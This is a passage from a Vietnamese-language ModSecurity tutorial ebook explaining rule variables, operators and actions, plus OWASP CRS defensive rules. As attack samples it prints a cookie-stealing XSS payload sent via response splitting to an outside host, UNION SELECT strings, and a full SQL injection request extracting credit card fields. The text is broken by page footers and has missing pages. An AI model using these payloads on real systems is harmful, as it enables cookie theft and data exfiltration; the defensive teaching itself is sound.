REQBODY_PROCESSOR_ERROR Request processor error flag (0 or 1)
REQBODY_PROCESSOR_ERROR_MSG Request processor error message
Collections variables
Các biến trong nhóm này có thể chứa biến của các nhóm khác, nhằm phục vụ việc thu thập
dữ liệu để đưa qua cơ chế phân tích hành vi trong ModSecurity.
Variable Description
ENV Environment variables (read-only collection,
although it’s possible to use setvar
GEO to change it)
GLOBAL Geo lookup information from the last
@geoLookupinvocation (read-only collec
IP tion)
TX Global information, shared by all processes
(read/write collection)
RULE IP address data storage (read/write collection)
SESSION Transient transaction data (read/write
collection)
USER Current rule metadata (read-only collection)
XML Session data storage (read/write collection)
Time variables
Các biến về thời gian dùng để xác định thời gian khi một phiên làm việc trên ModSecurity
được thực hiện.
Variable Description
TIME Time (HH:MM:SS)
TIME_DAY Day of the month (1–31)
28
EBOOKBKMT.COM
TIME_EPOCH Seconds since January 1, 1970 (e.g.,
1251029017)
TIME_HOUR Hour of the day (0–23)
TIME_MIN Minute of the hour (0–59)
TIME_MON Month of the year (0–11)
TIME_SEC Second of the minute (0–59)
TIME_WDAY Week day (0–6)
TIME_YEAR Year
Operators
Các toán tử kiểm tra trong ModSecurity có nhiệm vụ phân tích các biến đầu vào Variables để
ra quyết định. Hầu hết các rule sẽ sử dụng các regular expression cho việc phân tích, nhưng
trong một số trường hợp cụ thể thì các phân nhóm toán tử khác sẽ hữu ích hơn.
Ta xét trường hợp cần so sánh các giá trị là số (numberic) thì việc sử dụng Regular
expression là khá bất lợi cho việc tạo rule và tài nguyên khi thực thi so sánh rule. ModSecurity
hỗ trợ một nhóm phương thức so sánh khác nhau nhằm tăng hiệu năng cho phần kiểm tra.
Trong trường hợp này thì việc sử dụng các toán tử về số học sẽ hiệu quả hơn nhiều so với
regular expression.
ModSecurity hỗ trợ 4 nhóm:
• String–matching operators
• Numerical operators
• Validation operators
• Miscellaneous operators
String–matching operators
Các toán tử so trùng chuỗi được dùng phân tích các đầu dữ liệu vào từ các biến. Toán tử @rx
và @pm thường được sử dụng nhiều trong các rule phân tích, bởi vì tính linh động của @rx và
tốc độ xử lý của @pm. Trong một số trường hợp khác thì các toán tử còn lại sẽ hỗ trợ bạn phát
triển các rule tùy theo mục đích chi tiết.
Operator Description
@beginsWith Input begins with parameter
@contains Input contains parameter
@endsWith Input ends with parameter
@rsub Manipulation of request and response bodies
@rx Regular pattern match in input
@pm Parallel pattern matching
@pmFromFile(also @pmfas of Parallel patterns matching, with patterns read
2.6) from a file
@streq Input equal to parameter
29
EBOOKBKMT.COM
@within Parameter contains input
Numerical operators
Trong bảng dưới liệt kê các toán tử hỗ trợ so sánh các giá trị số. Trong phiên bản
ModSecurity trước 2.5.12 thì việc so sánh các giá trị số học phải thông qua regular expression,
việc này làm ảnh hưởng lớn đến hiệu năng hoạt động của server.
Operator Description
@eq Equal
@ge Greater or equal
@gt Greater than
@le Less or equal
@lt Less than
Validation operators
Các toán tử kiểm tra mà ModSecurity hỗ trợ được liệt kê trong bảng sau:
Operator Description
@validateByteRange Validates that parameter consists only of
allowed byte values
@validateDTD Validates XML payload against a DTD
@validateSchema Validates XML payload against a schema
@validateUrlEncoding Validates an URL-encoded string
@validateUtf8Encoding Validates an UTF-8-encoded string
Miscellaneous operators
Và phân nhóm operator cuối cùng mà ModSecurity hỗ trợ cho phép bạn tạo ra một số rule
với các chức năng lọc khá hữu dụng như: phát hiện lộ thông tin credit card (@verifyCC), kiểm
tra vùng địa lý của IP người dùng (@geoLookup), kiểm tra lộ thông tin số an sinh xã hội
(@verifySSN )…
Operator Description
@geoLookup Determines the physical location of an IP
address
@inspectFile nvokes an external script to inspect a file
@rbl Looks up the parameter against a RBL (real-
time block list)
@verifyCC Checks whether the parameter is a valid credit
card number
@verifyCPF Checks whether the parameter is a valid
Brazilian social security number
@verifySSN Checks whether the parameter is a valid US
social security number
30
EBOOKBKMT.COM
@ipMatch Matches input against one or more IP addresses
or network segments
@ipMatchFromFile( and @ip As @ipMatch, but reads input from a file
MatchF), as of 2.7.0
Actions
Các hành vi (action) là điểm mạnh của ModSecurity cho phép hệ thống web có khả năng
miễn dịch với một số loại khai thác đã biết đến. Các action là thành phần cuối cùng trong một
rule, Apache sẽ quyết định kết quả trả về phía người dùng (thông báo lỗi, hủy kết nối hoặc cho
phép truy cập…)
ModSecurity chia các action thành 7 phân mục:
• Disruptive actions
• Flow actions
• Metadata actions
• Variable actions
• Logging actions
• Special actions
• Miscellaneous Actions
Disruptive actions
Trong phân nhóm này, các action được sử dụng nhằm mục đích ngăn chặn hoặc chuyển
hướng kết nối trong trường hợp ModSecurity phát hiện mẫu tấn công trùng khớp.
Action Description
allow Stop processing of one or more remaining
phases
block Indicate that a rule wants to block
deny Block transaction with an error page
drop Close network connection
pass Do not block, go to the next rule
pause Pause for a period of time, then execute allow.
proxy Proxy request to a backend web server
redirect Redirect request to some other web server
Flow actions
Action Description
chain Connect two or more rules into a single logical
rule
skip Skip over one or more rules that follow
31
EBOOKBKMT.COM
skipAfter Skip after the rule or marker with the provided
ID
Metadata actions
Phân nhóm này cho phép bạn định nghĩa các thông tin mô tả về rule. Các thông tin này
thường được dùng để mô tả thông báo lỗi (error message), giải thích nguyên nhân xuất hiện lỗi
hoặc cách khắc phục đề nghị.
Action Description
id Assign unique ID to a rule
phase Phase for a rule to run in
msg Message string
rev Revision number
severity Severity
tag Tag
Variable actions
Cách hành vi trong nhóm này được liên hệ với các giá trị biến (Variables), các action này
cho phép gán giá trị (set), thay đổi (change) và xóa (remove) giá trị mà các biến lưu trữ.
Action Description
capture Capture results into one or more variables
deprecatevar Decrease numerical variable value over time
expirevar Remove variable after a time period
initcol Create a new persistent collection
setenv Set or remove an environment variable
setvar Set, remove, increment, or decrement a variable
setuid Associate current transaction with an
application user ID (username)
setsid Associate current transaction with an
application session ID
Logging actions
Các action trong phân nhóm ghi log chỉ dẫn ModSecurity phương thức và nơi lưu trữ log.
Các action ảnh hưởng đến việc ghi log trong rule là auditlog, log, noauditlog và nolog. Để điều
khiển quá trình ghi log, bạn cần tham khảo ctlaction.
Action Description
auditlog Log current transaction to audit log
log Log error message; implies auditlog
logdata Log supplied data as part of error message
noauditlog Do not log current transaction to audit log
nolog Do not log error message; implies noauditlog
sanitiseArg Remove request parameter from audit log
32
EBOOKBKMT.COM
sanitiseMatched Remove parameter in which a match occurred
from audit log
sanitiseRequestHeader Remove request header from audit log
Special actions
Action Description
ctl Change configuration of current transaction
multiMatch Activate multi-matching, where an operator
runs after every transformation
t Specify transformation functions to apply to
variables before matching
Miscellaneous Actions
Action Description
append Append content to response body
exec Execute external script
prepend Prepend content to response body
status Specify response status code to use with
denyand redirect
xmlns Specify name space for use with XPath
expressions
34
EBOOKBKMT.COM
Trong rule SecRule ARGS:p|ARGS:q "!@eq 5" thì ModSecurity sẽ trùng khi có một trong
hai tham số p hoặc q có giá trị bằng 5. Trường hợp bạn cần kiểm tra tham số p và q có giá trị
bằng 5 thì ta sử dụng từ khóa chain:
SecRule ARGS:p "!@eq 5" chain
SecRule ARGS:q "!@eq 5"
Variable Counting
Bằng cách thêm ký tự “&” vào trước biến trong rule, bạn có thể thực hiện công việc đếm số
lần xuất hiện của một biến.
Trong rule bên dưới, ModSecurity thực hiện kiểm tra trong trường hợp tồn tại một tham số
username:
SecRule &ARGS:username "@eq 1"
Để kiểm tra trong trường hợp có nhiều hơn một tham số username, ta viết lại rule như sau:
SecRule &ARGS:username "!@eq 1"
Hướng dẫn về action
Hành vi (action) là thành phần thứ ba trong chỉ thị SecRule và là thành phần thứ nhất trong
chỉ thị SecAction. Một rule có thể không tồn tại action hoặc nhiều hơn một action. Nếu ta sử
dụng nhiều action trong một rule, ta có thể phân cách bằng dấu phẩy “,” hay khoảng trắng giữa
các action. Trong rule bên dưới, ta sử dụng 2 action là log và deny:
SecRule ARGS K1 log,deny
Một số action trong ModSecurity yêu cầu có tham số khi sử dụng. Trong trường hợp này, ta
cần phân cách action và tham số bởi dấu “:” . Một ví dụ về việc sử dụng hành vị deny các yêu
cầu đến server và gây lỗi “404 Not found”:
SecRule ARGS K1 log,deny,status:404
Một phần cần lưu ý đối với các hành vi có tham số chứa khoảng trắng hoặc ký tự “,” , bạn
nên chắc chắn rằng các tham số này được đặt trong một cặp dấu ngoặc đơn ‘’.
SecRule ARGS K1 "log,deny,msg:'Acme attack detected'"
Action Defaults
ModSecurity định nghĩa một ngữ cảnh được gọi là default action list (tạm dịch: danh sách
các hành vi mặc định), nhằm thực hiện chèn các giá trị này vào những rule không được chỉ
định action.
Giả sử, sau khi thực hiện cấu hình trong tập tin main.conf của ModSecurity, giá trị của
SecDefaultAction là phase:2,log,auditlog,pass. Ta có một rule đơn giản không được chỉ định
action:
SecRule ARGS K1
35
EBOOKBKMT.COM
Khi ModSecurity hoạt động, thì rule trên sẽ được hiểu như sau:
SecRule ARGS K1 phase:2,log,auditlog,pass
Bằng cách này, ModSecurity giúp bạn triển khai một rule dễ dàng hơn mà không cần phải
chỉ định một action lặp lại nhiều lần:
SecDefaultAction phase:2,log,deny,status:404
SecRule ARGS K1
SecRule ARGS K2
...
SecRule ARGS K99
Unconditional Rules
Hành vi mà bạn thiết lập trong chỉ thị SecRule sẽ được thực hiện khi có mẫu trùng khớp với
các biểu thức, nhưng bạn cũng có thể sử dụng chỉ thị SecAction để triển khai các hành vi
(action) mà bạn định nghĩa sẵn. Chỉ thị SecAction cho phép chứa duy nhất một tham số
(parameter), tham số này được dùng để liên kết với thành phần thứ ba trong chỉ thị SecRule.
SecAction nolog,pass,setvar:tx.counter=10
Using Transformation Functions
Trong các phương pháp khai thác lỗ hổng ứng dụng web, hacker thường sử dụng các kỹ
thuật biến đổi dữ liệu (obfuscation) để vượt qua cơ chế kiểm tra. Để chống lại phương pháp
biến đổi, ModSecurity hỗ trợ chuyển đổi dữ liệu đầu vào trước khi thực hiện kiểm tra các tấn
công. Ví dụ:
Trong tấn công SQL Injection thì hacker thực hiện câu truy vấn: “id=1&UniON
%20SeLeCT%201,2,3,4,5,6” (trong trường hợp này ta cần chuyển đổi các ký tự sang chữ
thường (lowercase) trước khi kiểm tra)
Hoặc trong rule bên dưới, ModSecurity sẽ thực hiện chuyển các ký tự thành chữ thường,
đồng thời loại bỏ các ký tự khoảng trắng không cần thiết:
SecRule ARGS "@contains delete from" \
phase:2,t:lowercase,t:compressWhitespace,block
Kết quả mà ModSecurity sẽ thực hiện là lọc những từ khóa có dạng:
delete from
DELETE FROM
deLeTe fRoM
Delete From
36
EBOOKBKMT.COM
DELETE\tFROM –
Một số lý do bạn cần sử dụng chức năng chuyển đổi:
Với các khai thác sử dụng phương pháp encode base64, ta có thể áp dụng
t:base64Decode để decode dữ liệu đầu vào.
Tương tự Base64, với trường hợp hacker chuyển đổi kiểu dữ liệu thành dạng Hex
thì t:hexEncode nên được sử dụng để chuyển đổi sang dạng Plaintext.
Blocking
Các chỉ thị sử dụng trong ModSecurity được liên kết duy nhất với một action (hoặc chỉ thị
SecAction) để xử lý kết quả đã phân tích trước đó. Có ba trạng thái mà ModSecurity hỗ trợ
trong việc ngăn chặn tấn công:
Chuyển tiếp sang rule tiếp theo.
Ngưng thực hiện pha hiện thời, nhưng tiếp tục thực hiện phiên trao đổi dữ liệu.
Ngưng thực hiện pha hiện thời, đồng thời ngừng trao đổi dữ liệu.
Changing Rule Flow
Giả sử trường hợp các rule trong ModSecurity được xử lý tuần tự từ rule đầu tiên đến rule
cuối cùng. Nếu có một giá trị trùng với mẫu so sánh, thì tiến trình kiểm tra trong các rule tiếp
sau đó nên được bỏ qua. Để thực hiện việc này, từ khóa skip có thể được đưa vào sử dụng như
sau:
SecRule ARGS K1 id:1,nolog,pass,skip:2
SecRule ARGS K2 id:2,nolog,pass
SecRule ARGS K3 id:3,log,block
Với ví dụ trên, khi rule 1 trùng mẫu so sánh thì các rule tiếp sau sẽ không thực hiện kiểm tra.
Từ khóa skip thường được dùng như một phương pháp tối ưu hóa trong ModSecurity. Đôi
khi việc thực thi các nhóm rule có nhiều điều kiện sẽ làm lãng phí tài nguyên CPU. Trong
trường hợp này, bạn có thể thực hiện việc kiểm tra điều kiện của một rule và nên bỏ qua các
bước tiếp theo nếu điều kiện đầu vào không thỏa tiêu chí.
Ví dụ:
Trong các rule kiểm tra trong nhóm Cross Site Scripting (XSS) thì các mẫu tấn công như
UNION, ORDER BY, XP_CMD, ../../../, 1’ or 1=1 --, … là không cần thiết phải kiểm tra. Việc
sử dụng từ khóa skip sẽ giúp tối ưu tài nguyên xử lý trong trường hợp này.
If-Then-Else
Tuy ModSecurity không hỗ trợ các từ khóa if-then-else trong cấu trúc rule, nhưng bạn vẫn
có thể thực hiện cấu trúc kiểm tra điều kiện thông qua ví dụ bên dưới:
SecRule ARGS K1 id:1,nolog,pass,skip:2
37
EBOOKBKMT.COM
SecRule ARGS K2 id:2,block
SecAction nolog,pass,skip:1
SecRule ARGS K3 id:3,block
SecRule đầu tiên sẽ quyết định một rule được thực hiện bên dưới. Nếu trong rule 1 trùng
mẫu, thì hành vi skip được thực hiện và chuyển đến thực hiện rule 3. Tuy nhiên, nếu rule 1
không trùng mẫu thì rule 2 sẽ được thực hiện và SecAction sẽ được thực hiện sau đó. Cấu trúc
rẽ nhánh này đảm bảo ruel 3 sẽ không thực thi nếu rule 1 không trùng mẫu dữ liệu.
Capturing Data
Các biến trong nhóm TX được phân biệt bởi giá trị từ 0 đến 9. Những biến này được dùng
trong việc thu thập dữ liệu đầu vào. Để sử dụng chức năng thu thập dữ liệu, bạn cần chú ý hai
điều sau:
Sử dụng dấu ngoặc đơn () trong trường hợp dùng các biểu thức so sánh, việc này giúp
ModSecurity xác định vị trí dữ liệu cần thu thập.
Sử dụng hành vi carpture trong rule, nơi mà bạn muốn thu thập dữ liệu.
Giả sử trong ứng dụng web có sử dụng việc chèn một mã xác định phiên làm việc (session)
vào URI như bên dưới:
http://www.modsec.com/69d032331009e7b0/index.html
Yêu cầu đặt ra là bạn cần xác định giá trị 69d032331009e7b0 trong URI để phục vụ việc
kiểm tra session người dùng. Tham khảo biểu thức so sánh trong rule sau:
# Initialize session state from the session identifier in URI
SecRule REQUEST_URI ^/([0-9a-fA-f]{16})/ phase:1,nolog,pass,capture,setsid:%{TX.1}
Phân tích biểu thức ^/([0-9a-fA-f]{16})/ ta có:
Biểu thức Ý nghĩa biểu thức Giá trị TX
^/ Xác định vị trí thu thập dữ liệu, bắt TX.0 =
đầu bằng ký tự “/”. /69d032331009e7b0/
([0-9a-fA-f]{16}) Nội dung SessionID là một chuỗi bao TX.1 =
gồm 16 ký tự số, chữ thường, chữ hoa 69d032331009e7b0
(biểu thức phải được đặt trong dấu
ngoặc đơn).
/ Vị trí kết thúc biểu thức.
Dưới dây là log audit quá trình ModSecurity thực hiện phân tích biểu thức:
[4] Recipe: Invoking rule 15b6610; [file
"/opt/modsecurity/etc/crs/activated_rules/carpturedata.conf"] [line "1"] [id "10000"].
[5] Rule 15b6610: SecRule "REQUEST_URI" "@rx ^/([0-9a-fA-f]{16})/"
"phase:1,auditlog,id:10000,nolog,pass,capture,setsid:%{TX.1}"
38
EBOOKBKMT.COM
[4] Transformation completed in 7 usec.
[4] Executing operator "rx" with param "^/([0-9a-fA-f]{16})/" against REQUEST_URI.
[9] Target value: "/69d032331009e7b0/index.html"
[9] Added regex subexpression to TX.0: /69d032331009e7b0/
[9] Added regex subexpression to TX.1: 69d032331009e7b0
[4] Operator completed in 58 usec.
[9] Resolved macro %{TX.1} to: 69d032331009e7b0
Variable Manipulation
Hầu hết các dữ liệu mà ModSecurity phân tích sẽ được thao tác ở chế độ chỉ đọc (dữ liệu
tĩnh hoặc không thay đổi). Tuy nhiên, ModSecurity cũng hỗ trợ việc tạo ra các biến có giá trị
thay đổi nhằm phục vụ một số mục đích cụ thể.
Ta có thể tạo ra một biến bằng cách sử dụng hành vi setvar:
SecAction nolog,pass,setvar:tx.score=1 #giá trị của biến tx.score là 1.
SecAction nolog,pass,setvar:!tx.score #xóa giá trị biến tx.score.
SecAction nolog,pass,setvar:tx.score=+2 #giá trị tx.score sẽ tăng 2 mỗi khi thực hiện
action.
SecAction nolog,pass,setvar:tx.score=-1 #giá trị tx.score sẽ giảm mỗi khi thực hiện
action.
Metadata
Metadata được dùng trong rule với mục đích hiển thị thông tin chi tiết về cảnh báo mà rule
tạo ra. Các thông tin này không gây ảnh hưởng đến quá trình phân tích dữ liệu. Tuy nhiên,
metadata sẽ hỗ trợ bạn dễ dàng quản lý các cảnh báo trong quá trình phân tích log, giúp xác
định nhanh chóng nguyên nhân và cách phòng tránh các khai thác vào web server.
Tôi sẽ băt đầu với rule đơn giản như sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$" \
Id:10001,phase:1,t:none,log,block
Với các tham số như trên, thì rule 10001 vẫn hoạt động ổn định khi trùng mẫu. Tuy nhiên,
dữ liệu sau khi phân tích không cung cấp đủ thông tin chi tiết về thông tin kỹ thuật, các hướng
dẫn xử lý v.v…
[22/Jun/2013:01:21:57 +0700] [www.modsec.com/sid#139efb0][rid#1606370][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "1"] [id "10001"]
Để rule 10001 được mô tả tốt hơn về thông báo lỗi, tôi sẽ tùy biến rule lại như sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$" \
39
EBOOKBKMT.COM
"phase:1,t:none,log,block,id:1001,rev:2,\
severity:WARNING,msg:'Request method is not allowed'"
Trong thông báo log, ta có thể ghi nhận thay đổi:
[22/Jun/2013:01:28:19 +0700] [www.modsec.com/sid#17f1fb0][rid#1a59350][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "3"] [id "10001"] [rev
"2"] [msg "Request method is not allowed"] [severity "EMERGENCY"]
#rev: xác định phiên bản thay đổi của rule
#msg: dữ liệu mô tả về rule
#severity: thông báo mức độ nguy hiểm khi có cuộc tấn công vào hệ thống web (mức độ
nguy hiểm nhất là EMERGENCY (1) và ít nguy hiểm nhất là DEBUG (7).
Chỉ thị đầu tiên SecDisableBackendCompression chỉ được sử dụng trong trường hợp
ModSecurity được triển khai như một reverse proxy. Dữ liệu trả về người dùng sẽ được nén
bằng thuật toán gzip nhằm giảm lưu lượng băng thông. Các chỉ thị SecEncryption tiếp theo
nhằm thông báo cho ModSecurity tạo ra chuỗi giá trị băm (hash value) ngẫu nhiên dựa trên
hash salt value và thành tố href trong phần thân HTML (xác định dựa trên mẫu đã được định
nghĩa regular expression).
Hình 6: Các liên kết trước khi thực hiện tạo token
41
EBOOKBKMT.COM
Hình 7: Các liên kết sau khi thực hiện tạo token
Ta có thể theo dõi quá trình làm việc của ModSecurity bằng cách theo dõi debug log:
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [xmlrpc.php?rsd]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [wp-content/themes/mog/main.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [wp-content/themes/mog/style.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [css?family=Josefin+Slab%3A600&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [css?family=Open+Sans&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [xmlrpc.php]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [xfn/11]
Kiểm tra trong trường hợp các token trong URL cố tình bị loại bỏ tại phía người dùng, trong
trường hợp này kẻ tấn công thực hiện khai thác SQL Injection:
Trường URL
hợp
Token hợp http://www.modsec.com/2013/05/owasp-top-10-tools-and-tactics/?
lệ rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e
Không có http://www.modsec.com/2013/05/owasp-top-10-tools-and-tactics/%20and
token %20union%20select%201,2,3,4,5,6
42
EBOOKBKMT.COM
Trong trường hợp hacker cố tình loại bỏ token để chèn khai thác vào URL thì rule có id 1000
sẽ được so trùng và tạo cảnh báo tại audit_log.
[Wed Jun 05 18:12:16 2013] [error] [client 192.168.149.1] ModSecurity: Access allowed
(phase 2). Request URI matched "[a-zA-Z0-9]" at REQUEST_URI. No Hash parameter [file
"/opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf"] [line "7"]
[id "1000"] [msg "Request Validation Violation."] [hostname "www.modsec.com"] [uri
"/2013/05/owasp-top-10-tools-and-tactics/ and union select 1,2,3,4,5,6"] [unique_id
"Ua8dEH8AAAEAAAyJBzMAAAAE"]
43
EBOOKBKMT.COM
44
EBOOKBKMT.COM
45
EBOOKBKMT.COM
48
EBOOKBKMT.COM
REQUEST GET /index.php?language=english HTTP/1.1
RESPONSE HTTP/1.1 302 Found
Location: /lang_page.php?lang=english
Nếu tại phía người dùng, hacker cố tình chèn ký tự Carriage Return (CR) hoặc Linefeed
(LF) vào các tham số trong URL, thì dẫn đến kết quả gói tin tại phía người dùng bị tái cấu trúc
theo mục đích của hacker.
Trong bảng dưới đây mô tả dạng tấn công DOM XSS bằng cách chèn đoạn HTML vào phía
người dùng cuối, tuy nhiên việc tạo một gói tin chèn vào phía người dùng là khá phức tạp.
GET /index.php?language=english
Cotent-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 171
<html><body%20onload='document.location.replace
%20("http://www.swpag.info/cookie_trap/"%252b%20document.cookie
%252b"/URL/"%252bdocument.location);'></body></html> HTTP/1.1
Bằng cách sử dụng ký tự %0d và/hoặc %0a thì ta có thể chuyển toàn bộ gói tin trên thành
một URL duy nhất:
GET /index.php?language=english%0aCotent-Length:%200%0a
%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length
%20171:%0a%0a<html><body%20onload='document.location.replace
%20("http://www.swpag.info/cookie_trap/"%252b%20document.cookie
%252b"/URL/"%252bdocument.location);'></body></html> HTTP/1.1
Để phòng chống lại dạng tấn công HTTP Reponse spliting, ta có thể sử dụng rule như sau:
# HTTP Response Splitting
#
# -=[ Rule Logic ]=-
# These rules look for Carriage Return (CR) %0d and Linefeed (LF) %0a characters.
# These characters may cause problems if the data is returned in a respones header and
# may be interpreted by an intermediary proxy server and treated as two separate
# responses.
#
# -=[ References ]=-
# http://projects.webappsec.org/HTTP-Response-Splitting
#
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|
49
EBOOKBKMT.COM
REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "[\n\r](?:content-(type|
length)|set-cookie|location):" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',t:none,t:lowercase,capture,ctl:
auditLogParts=+E,block,msg:'HTTP Response Splitting Attack',id:'950910',logdata:'Matched
Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %
{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%
{tx.critical_anomaly_score},setvar:tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|
REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "(?:\bhttp\/(?:0\.9|1\.[01])|
<(?:html|meta)\b)" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',capture,t:none,t:htmlEntityDe
code,t:lowercase,ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting
Attack',id:'950911',logdata:'Matched Data: %{TX.0} found within %
{MATCHED_VAR_NAME}: %{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%
{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"
Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Path Traversal
(OWASP-AZ-001)
Các thành phần tham khảo:
OWASP ModSecurity CRS
o modsecurity_crs_42_tight_security.conf
ModSecurity
o REQUEST_URI variable
o REQUEST_BODY variable
o REQUEST_HEADERS variable
o XML variable
Path traversal là một phương pháp khai thác dựa vào thao tác trên URL nhằm truy cập bất
hợp pháp vào các tập tin tại server. Hầu hết các nguyên nhân gây lỗi là do phía mã nguồn web
cho phép đọc dữ liệu từ một tập tin khác, bằng cách thay đổi giá trị đường dẫn trong chức năng
đọc tập tin ta có thể vượt quyền truy cập sang các thư mục chứa dữ liệu khác. Đặc trưng của
phương pháp khai thác này là sử dụng chuỗi ký tự phân cách cấu trúc thư mục, bao gồm ký tự
(/ hoặc \) và/hoặc . (dấu chấm) để chỉ định đường dẫn trực tiếp đến tập tin cần khai thác. (Trích
CAPEC-126: Path Traversal http://capec.mitre.org/data/definitions/126.html)
50
EBOOKBKMT.COM
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'7',t:none,ctl:auditLogParts=+E,
block,msg:'Path Traversal Attack',id:'950103',severity:'2',logdata:'Matched Data: %{TX.0}
found within %{MATCHED_VAR_NAME}: %
{MATCHED_VAR}',t:none,capture,tag:'OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL',s
etvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%
{tx.critical_anomaly_score},setvar:'tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL-%{matched_var_name}=%
{matched_var}'"
# Weaker signature
#SecRule REQUEST_FILENAME "\.\.[/\x5c]"
"phase:1,rev:'2.2.7',t:none,t:urlDecodeUni,capture,ctl:auditLogParts=+E,block,msg:'Path
Traversal Attack',id:'950103',severity:'2',setvar:'tx.msg=%
{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:'tx.%{rule.id}-
WEB_ATTACK/DIR_TRAVERSAL-%{matched_var_name}=%{matched_var}'"
Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: SQL Injection (OWASP-
DV-005)
Các thành phần tham khảo:
ModSecurity
o @verifyCCoperator
OWASP ModSecurity Core Rule Set
o modsecurity_crs_25_cc_known.conf
Việc rò rỉ thông tin người dùng như là số thẻ tín dụng (credit card number) là khá nghiêm
trọng đối với các ứng dụng thanh toán điện tử, cũng như các giải pháp ngân hàng. Thông
thường, việc lộ thông tin thường là kết quả của các cuộc tấn công SQL injection có mục đích
vào các trang thương mại điện tử, nhằm ăn cắp thông tin định danh thanh toán của người dùng.
Dưới đây là một ví dụ thực tế về việc ăn cắp thông tin của một ứng dụng web:
GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select
%20top
%201%20convert(varchar,isnull(convert(varchar,OR_OrderDate),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_FirstName),
'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_LastName)
,'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAdd
ress),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_Ord
52
EBOOKBKMT.COM
erCity),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_O
rderZip),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_
OrderState),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,
OR_OrderCountry),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(var
char,OR_CCardName),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(v
archar,OR_CCardType),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert
(varchar,OR_CCardNumberenc),'NULL'))
%2b'/'%2bconvert(varchar,isnull(
convert(varchar,OR_CCardExpDate),'NULL'))
%2b'/'%2bconvert(varchar,is
null(convert(varchar,OR_CCardSecurityCode),'NULL'))
%2b'/'%2bconvert(
varchar,isnull(convert(varchar,OR_Email),'NULL'))%2b'/'%2bconvert(va
rchar,isnull(convert(varchar,OR_Phone1),'NULL'))%20from%20Orders
%20w
here%20OR_OrderID=47699))--sp_password HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Cookie:
ASPSESSIONIDCCQCSRDQ=EHEPIKBBBFLOFIFOBPCJDBGP
Host: www.banking.com
X-Forwarded-For: 14.0.18.205
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=14.0.18.205
Trong câu truy vấn SQL trên, hacker thu thập dữ liệu cá nhân của người dùng tại các table
được in đậm. Các rule trong nhóm khai thác SQL injection có thể chống lại dạng tấn công này,
nhưng cần chú ý rằng các rule phát hiện SQL injection chỉ ở chế độ theo dõi (Detect-only). Sau
khi câu truy vấn SQL được thực thi tại phía server, thì giá trị trả về người dùng vẫn chứa thông
